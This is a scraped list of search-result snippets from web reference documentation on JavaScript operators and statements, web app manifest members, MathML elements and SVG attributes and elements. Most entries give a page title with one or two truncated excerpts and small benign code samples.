... syntax operator: x = y examples simple assignment and chaining // assuming the following variables // x = 5 // y = 10 // z = 25 x = y // x is 10 x = y = z // x, y and z are all 25 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise NOT (~) - JavaScript
for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to each pair of bits, and the result is constructed bitwise.
Equality (==) - JavaScript
the equality operator (==) checks whether its two operands are equal, returning a boolean result.
... if the operands have the same type, they are compared as follows: string: return true only if both operands have the same characters in the same order.
Inequality (!=) - JavaScript
the inequality operator (!=) checks whether its two operands are not equal, returning a boolean result.
... syntax x != y description the inequality operator checks whether its operands are not equal.
Property accessors - JavaScript
(in the ecmascript standard, the names of properties are technically "identifiernames", not "identifiers", so reserved words can be used but are not recommended).
...also, strformcontrol would have to hold an identifier, which is not required for names and ids of form controls.
Right shift (>>) - JavaScript
since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change.
...since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change.
Strict equality (===) - JavaScript
the strict equality operator (===) checks whether its two operands are equal, returning a boolean result.
... strings must have the same characters in the same order.
Strict inequality (!==) - JavaScript
the strict inequality operator (!==) checks whether its two operands are not equal, returning a boolean result.
... syntax x !== y description the strict inequality operator checks whether its operands are not equal.
await - JavaScript
async function f4() { try { var z = await promise.reject(30); } catch(e) { console.error(e); // 30 } } f4(); handling rejected promises handle rejected promise without try block.
... var response = await promisedfunction().catch((err) => { console.error(err); }); // response will be undefined if the promise is rejected specifications specification ecmascript (ecma-262)the definition of 'async functions' in that specification.
class expression - JavaScript
there are several differences between class expressions and class statements, however: class expressions may omit the class name ("binding identifier"), which is not possible with class statements.
...nal foo = class {}; // re-declaration is allowed typeof foo; // returns "function" typeof class {}; // returns "function" foo instanceof object; // true foo instanceof function; // true class foo {} // throws syntaxerror (class declarations do not allow re-declaration) examples a simple class expression this is just a simple anonymous class expression which you can refer to using the variable foo.
super - JavaScript
class rectangle { constructor() {} static lognbsides() { return 'i have 4 sides'; } } class square extends rectangle { constructor() {} static logdescription() { return super.lognbsides() + ' which are all equal'; } } square.logdescription(); // 'i have 4 sides which are all equal' deleting super properties will throw an error you cannot use the delete operator and super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror.
...this works with the help of object.setprototypeof() with which we are able to set the prototype of obj2 to obj1, so that super is able to find method1 on obj1.
typeof - JavaScript
typeof /s/ === 'function'; // chrome 1-12 non-conform to ecmascript 5.1 typeof /s/ === 'object'; // firefox 5+ conform to ecmascript 5.1 errors before ecmascript 2015, typeof was always guaranteed to return a string for any operand it was supplied with.
...block scoped variables are in a "temporal dead zone" from the start of the block until the initialization is processed, during which, it will throw an error if accessed.
do...while - JavaScript
syntax do statement while (condition); statement a statement that is executed at least once and is re-executed each time the condition evaluates to true.
... condition an expression evaluated after each pass through the loop.
return - JavaScript
return a + b; is transformed by asi into: return; a + b; the console will warn "unreachable code after return statement".
... starting with firefox 40, a warning is shown in the console if unreachable code is found after a return statement.
while - JavaScript
syntax while (condition) statement condition an expression evaluated before each pass through the loop.
... var n = 0; var x = 0; while (n < 3) { n++; x += n; } each iteration, the loop increments n and adds it to x.
JavaScript reference - JavaScript
.locale intl.numberformat intl.pluralrules intl.relativetimeformat webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror statements javascript statements and declarations control flowblock break continue empty if...else switch throw try...catch declarations var let const functions and classes function function* async function return class iterations do...while for for each...in for...in for...of for await...of while other debugger import label with expressions and operators javascript expressions and operators.
...iftrue : iffalse) assignment operators = *= /= %= += -= <<= >>= >>>= &= ^= |= [a, b] = [1, 2] {a, b} = {a:1, b:2} functions this chapter documents how to work with javascript functions to develop your applications.
JavaScript shells - JavaScript
firefox has a built-in javascript console, which support multi-line editing.
... execute js - (no longer maintained) - firefox-extension which provides an enhanced javascript-console, where you can comfortably enter and execute arbitrary javascript-code and modify functions.
serviceworker - Web app manifests
examples "serviceworker": { "src": "./serviceworker.js", "scope": "/app", "type": "", "update_via_cache": "none" } values service worker contain the following values (only src is required): member description src the url to download the service worker script from.
... update_via_cache whether the user agent cache should be bypassed when fetching the service worker.
short_name - Web app manifests
short_name is directionality-capable, which means it can be displayed left-to-right or right-to-left based on the value of the dir and lang manifest members.
... examples simple short_name in left-to-right language: "name": "awesome application", "short_name": "awesome app" short_name in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "تطبيق رائع", "short_name": "رائع" specification specification status comment feedback web app manifestthe definition of 'short_name' in that specification.
<menclose> - MathML
notation a list of notations, separated by white space, to apply to the child elements.
... the symbols are each drawn as if the others are not present, and therefore may overlap.
<mfrac> - MathML
WebMathMLElementmfrac
if true, the fraction line is bevelled, which means that numerator and denominator are displayed side by side and separated by a slash (/).
... otherwise, if set to false (which is the default value), numerator and denominator are on top of each other.
<mlabeledtr> - MathML
child elements of <mlabeledtr> must be <mtd> elements.
... the first child is the label whereas all other children are representing row contents and are treated identically to children of <mtr> elements.
<mover> - MathML
WebMathMLElementmover
the mathml <mover> element is used to attach an accent or a limit over an expression.
... use the following syntax: <mover> base overscript </mover> attributes accent if true the over-script is an accent, which is drawn closer to the base expression.
<mpadded> - MathML
they represent each length of the same-named dimension.
... prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) the mathml2 pseudo-unit lspace was allowed, which is no longer present in the mathml3 recommendation and has been removed now.
<mrow> - MathML
WebMathMLElementmrow
the mathml <mrow> element is used to group sub-expressions, which usually contain one or more operators with their respective operands (such as <mi> and <mn>).
... it simplifies the interpretation of the expression by automated systems such as computer algebra systems and audio renderers.
<msub> - MathML
WebMathMLElementmsub
the mathml <msub> element is used to attach a subscript to an expression.
... subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value.
<msup> - MathML
WebMathMLElementmsup
the mathml <msup> element is used to attach a superscript to an expression.
... superscriptshift the minimum space by which to shift the superscript up from the baseline of the expression, as a length value.
<munder> - MathML
WebMathMLElementmunder
the mathml <munder> element is used to attach an accent or a limit under an expression.
... it uses the following syntax: <munder> base underscript </munder> attributes accentunder if true, the element is an accent, which is drawn closer to the base expression.
MathML element reference - MathML
if you want to learn more about content markup you should consider chapter 4 in the mathml 3 specification.
...or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <mscarries>) <msgroup> (grouped rows of <mstack> and <mlongdiv> elements) <msline> (horizontal lines inside <mstack> elements) <mspace> (space) <msqrt> (square root without an index) <msrow> (rows in <mstack> elements) <mstack> (stacked alignment) <mstyle> (style change) <msub> (subscript) <msup> (superscript) <msubsup> (subscript-s...
SVG Conditional Processing Attributes - SVG: Scalable Vector Graphics
the svg conditional processing attributes are all the attributes that can be specified on some svg elements to control whether or not the element on which it appears should be rendered.
... value: a list of space-separated uri; animatable: no systemlanguage indicates which language the user must have chosen to render the associated element.
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
id lang tabindex xml:base xml:lang xml:space attributes id defines a unique identifier (id) which must be unique in the whole document.
... value: any valid language id; animatable: no xml:space deprecated since svg 2 svg supports the standard xml attribute xml:space to specify the handling of white space characters within a given <text> element's character data.
accent-height - SVG: Scalable Vector Graphics
the accent-height attribute defines the distance from the origin to the top of accent characters, measured by a distance within the font coordinate system.
... only one element is using this attribute: <font-face> font-face for <font-face>, accent-height defines the distance from the origin to the top of accent characters, measured by a distance within the font coordinate system.
attributeName - SVG: Scalable Vector Graphics
the attributename attribute indicates the name of the css property or attribute of the target element that is going to be changed during an animation.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributename' in that specification.
baseFrequency - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'basefrequency' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'basefrequency' in that specification.
bias - SVG: Scalable Vector Graphics
WebSVGAttributebias
after applying the kernelmatrix of the <feconvolvematrix> element to the input image to yield a number and applied the divisor attribute, the bias attribute is added to each component.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'bias' in that specification.
color-rendering - SVG: Scalable Vector Graphics
in this case, the svg user agent should perform color operations in a way that optimizes performance, which might mean sacrificing the color interpolation precision as specified by through the linearrgb value for color-interpolation-filters.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="...
contentStyleType - SVG: Scalable Vector Graphics
this language is used for all instances of style that do not specify their own styling language, such as the style attribute that is available on many elements.
...if other style sheet languages become more popular they might not use the style attribute, instead it could be easily declared which style language is used in the <style>'s type attribute.
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
the * can be replaced by any characters allowed in xml's rules for names, with the following restrictions: can't start with xml.
...hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format.
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
the divisor attribute specifies the value by which the resulting number of applying the kernelmatrix of a <feconvolvematrix> element to the input image color value is divided to yield the destination color value.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'divisor' in that specification.
font-variant - SVG: Scalable Vector Graphics
svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) || ornaments( <feature-value-name> ) || annotation( <feature-value-name> ) || [ small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps ] || <numeric-figure-values> || <numeric-spacing-values> || <numeric-fraction-values> || ordinal || slashed-zero || <east-asian-variant-values> || <east-asian-wi...
... working draft no change css fonts module level 3the definition of 'font-variant' in that specification.
g1 - SVG: Scalable Vector Graphics
WebSVGAttributeg1
the g1 attribute specifies a list of glyph names which identify a set of possible first glyphs in the kerning pair.
... two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair.
g2 - SVG: Scalable Vector Graphics
WebSVGAttributeg2
the g2 attribute specifies a list of glyph names which identify a set of possible second glyphs in the kerning pair.
... two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair.
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
the id must be unique within the node tree, must not be an empty string, and must not contain any whitespace characters.
...a stand-alone svg document uses xml 1.0 syntax, which specifies that valid ids only include designated characters (letters, digits, and a few punctuation marks), and do not start with a digit, a full stop (.) character, or a hyphen-minus (-) character.
keyPoints - SVG: Scalable Vector Graphics
each progress value in the list corresponds to a value in the keytimes attribute list.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'keypoints' in that specification.
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
the glyph was meant to be used if the xml:lang attribute exactly matched one of the languages given in the value of this parameter, or if the xml:lang attribute exactly equaled a prefix of one of the languages given in the value of this parameter such that the first tag character following the prefix was "-".
... the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
letter-spacing - SVG: Scalable Vector Graphics
the letter-spacing attribute controls spacing between text characters, in addition to any spacing from the kerning attribute.
... if the attribute value has a unit identifier, such as .25em or 1%, then the browser converts the <length> into its corresponding value in the current user coordinate system.
marker-mid - SVG: Scalable Vector Graphics
<marker-ref> this value is a reference to a <marker> element, which will be drawn at the given vertices.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-mid' in that specification.
markerUnits - SVG: Scalable Vector Graphics
strokewidth this value specifies that the markerwidth and markerunits attributes and the contents of the <marker> element represent values in a coordinate system which has a single unit equal the size in user units of the current stroke width (see the stroke-width attribute) in place for the graphic object referencing the marker.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerunits' in that specification.
maskUnits - SVG: Scalable Vector Graphics
the maskunits attribute indicates which coordinate system to use for the geometry properties of the <mask> element.
... objectboundingbox this value indicates that all coordinates for the geometry attributes represent fractions or percentages of the bounding box of the element to which the mask is applied.
numOctaves - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'numoctaves' in that specification.
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
thirty-seven elements are using this attribute: <a>, <altglyph>, <animate>, <animatemotion>, <animatetransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no spec...
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'onclick' in that specification.
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
the opacity attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the background behind the element is overlaid.
... as a presentation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect...
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 3 animatable yes <number-optional-number> this value indicates the number of cells in each dimension for the kernel matrix.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'order' in that specification.
paint-order - SVG: Scalable Vector Graphics
[ fill || stroke || markers ] the order of these three keywords indicates the order in which the painting happens, from left to right.
... example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-weight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved via the following css property: #stroke-under { paint-order: stroke; } specifications ...
patternUnits - SVG: Scalable Vector Graphics
the patternunits attribute indicates which coordinate system to use for the geometry properties of the <pattern> element.
... objectboundingbox this value indicates that all coordinates for the geometry properties represent fractions or percentages of the bounding box of the element to which the mask is applied.
pointsAtX - SVG: Scalable Vector Graphics
the pointsatx attribute represents the x location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsatx' in that specification.
pointsAtY - SVG: Scalable Vector Graphics
the pointsaty attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsaty' in that specification.
pointsAtZ - SVG: Scalable Vector Graphics
the pointsatz attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing, assuming that, in the initial local coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsatz' in that specification.
refX - SVG: Scalable Vector Graphics
WebSVGAttributerefX
two elements are using this attribute: <marker> and <symbol> marker for <marker>, refx defines the x coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape.
... symbol for <symbol>, refx defines the x coordinate of the symbol, which is defined by the cumulative effect of the x attribute and any transformations on the <symbol> and its host <use> element.
refY - SVG: Scalable Vector Graphics
WebSVGAttributerefY
two elements are using this attribute: <marker> and <symbol> marker for <marker>, refy defines the y coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape.
... symbol for <symbol>, refy defines the y coordinate of the symbol, which is defined by the cumulative effect of the y attribute and any transformations on the <symbol> and its host <use> element.
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.getelementbyid("restart").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(element => { element.beginelement(); }); }); usage notes value always | whennotactive | never default value always animatable no always this value indicates that the animation can be restarted at any time.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'restart' in that specification.
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
usage notes value <number> default value 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
specularExponent - SVG: Scalable Vector Graphics
working draft no change filter effects module level 1the definition of 'specularexponent for <fespotlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexponent for <fespecularlighting>' in that specification.
surfaceScale - SVG: Scalable Vector Graphics
working draft no change filter effects module level 1the definition of 'surfacescale for <fespecularlighting>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'surfacescale for <fediffuselighting>' in that specification.
targetX - SVG: Scalable Vector Graphics
WebSVGAttributetargetX
the value must be such that: 0 <= targetx < orderx.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'targetx' in that specification.
targetY - SVG: Scalable Vector Graphics
WebSVGAttributetargetY
the value must be such that: 0 <= targety < ordery.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'targety' in that specification.
type - SVG: Scalable Vector Graphics
WebSVGAttributetype
the type attribute is a generic attribute and it has different meaning based on the context in which it's used.
... for the <animatetransform> element, it defines the type of transformation, whose values change over time.
unicode-range - SVG: Scalable Vector Graphics
the unicode-range attribute defines the range of iso 10646 characters possibly covered by the glyphs in a font.
... only one element is using this attribute: <font-face> usage notes value <urange># default value none animatable no <urange># this value is a comma-separated list of iso 10646 characters possibly covered by the glyphs in the font.
v-hanging - SVG: Scalable Vector Graphics
the v-hanging attribute indicates the alignment coordinate for glyphs to achieve hanging baseline alignment.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs to achieve hanging baseline alignment.
z - SVG: Scalable Vector Graphics
WebSVGAttributez
working draft no change filter effects module level 1the definition of 'z for <fespotlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'z for <fepointlight>' in that specification.
<animateMotion> - SVG: Scalable Vector Graphics
> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes keypoints this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatemotion>' in that specification.
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
, visibility usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<defs>' in that specification.
<feComponentTransfer> - SVG: Scalable Vector Graphics
th <fecomponenttransfer> svg filter primitive performs color-component-wise remapping of data for each pixel.
...the colors are modified by changing each channel (r, g, b, and a) to the result of what the children <fefuncr>, <fefuncb>, <fefuncg>, and <fefunca> return.
<feComposite> - SVG: Scalable Vector Graphics
if the arithmetic operation is chosen, each result pixel is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively k1, k2, k3 and k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted contentany number of the follow...
...p://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators.
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
this is achieved by other filters storing their output via the result attribute and then accessing it in a <femergenode> child.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femerge>' in that specification.
<fePointLight> - SVG: Scalable Vector Graphics
the <fepointlight> filter primitive defines a light source which allows to create a point light effect.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fepointlight>' in that specification.
<feSpotLight> - SVG: Scalable Vector Graphics
the <fespotlight> svg filter primitive defines a light source which allows to create a spotlight effect.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fespotlight>' in that specification.
<foreignObject> - SVG: Scalable Vector Graphics
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...a-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
... candidate recommendation changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification.
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
<!-- everything under a white pixel will be visible --> <rect x="0" y="0" width="100" height="100" fill="white" /> <!-- everything under a black pixel will be invisible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg> attributes height this attribute defines the height of the masking area.
...sform, vector-effect, visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
<missing-glyph> - SVG: Scalable Vector Graphics
the <missing-glyph> svg element's content is rendered, if for a given character the font doesn't define an appropriate <glyph>.
... usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface.
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
--> <path id="path1" d="m100,250 c 100,50 400,50 400,250" fill="none" stroke="blue" stroke-width="7.06" /> <circle cx="100" cy="250" r="17.64" fill="blue" /> <circle cx="250" cy="100" r="17.64" fill="blue" /> <circle cx="400" cy="250" r="17.64" fill="blue" /> <!-- here is a triangle which will be moved about the motion path.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<mpath>' in that specification.
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
the <pattern> element defines a graphics object which can be redrawn at repeated x- and y-coordinate intervals ("tiled") to cover an area.
...butes most notably: xlink:title usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
